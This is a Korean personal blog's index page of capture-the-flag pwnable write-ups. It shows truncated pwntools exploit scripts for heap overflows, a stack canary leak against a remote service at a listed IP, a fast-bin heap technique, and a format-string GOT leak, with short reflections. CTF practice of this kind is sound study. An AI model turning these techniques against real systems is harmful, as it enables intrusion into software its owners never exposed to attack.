목록Lab (221)
cdor1's lab
후기 : 구조체 2개 할당후 오버플로를 통해서 포인터 덮고 쉘 함수 호출 from pwn import * s = process('./tyro_heap_29d1e9341f35f395475bf16aa988e29b') for i in range(0,2): print s.recvuntil('::> ') s.sendline('c') print s.recvuntil('::> ') s.sendline('b') print s.recvuntil('object id ?: ') s.sendline('0') print s.recvuntil('give me input_b: ') s.sendline(p32(0x08048660)*10) print s.recvuntil('::> ') s.sendline('e') print s.rec..
보호되어 있는 글입니다.
후기 : 첫 소켓 프로그램 익스플로잇. fd때문에 애먹었다. from pwn import * #s = remote('localhost', 8181) s = remote('110.10.212.130', 8888) print s.recvuntil('Select menu > ') s.sendline('1') print s.recvuntil('Input Your Message : ') s.sendline('a'*40) print s.recvuntil('a'*40 + '\n') canary = u32('\x00' + s.recv(3)) log.info('canary : ' + hex(canary)) raw_input() print s.recvuntil('Select menu > ') s.sendline('1') ..
보호되어 있는 글입니다.
분석 똑바로 하는 습관을 들이자...예전부터 계속 그래왔지만 부분부분 놓치는 것들이내가 문제푸는시간을 1시간을 늘릴지 2시간을 늘릴지 모르는것같다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
※ 방법론을 적어놓은 익스플로잇 코드입니다.후기 : global_fast_max를 덮고 chunk head를 사용하여 익스플로잇을 진행하는데,pie, full relro등이 걸려있을때 한번쯤 시도해볼만한 방법인 것 같다. from pwn import * s = remote('localhost', 4000) def insert(data): print s.recvuntil('choice: ') s.sendline('1') print s.recvuntil('Length of new entry: ') s.sendline(str(len(data)+1)) print s.recvuntil('Enter your data: ') s.sendline(data) def update(id, data): print s.recv..
후기 : 예전에 썼던 익스코드를 까먹고 안올렸다. H3X0R CTF 포너블 문제 끝 from pwn import * s = remote('52.199.49.117', 10002) elf = ELF('/home/cdor1/pwn100') print s.recvuntil('Give me your name!') s.sendline('%100000d%7$n') print s.recvuntil('Comment :') pay = 'A'*32 pay += p32(elf.plt['printf']) pay += p32(0x80488df) pay += p32(elf.got['printf']) s.sendline(pay) print s.recv(2048) leak = u32(s.recv(4)) binsh = leak + 0..
보호되어 있는 글입니다.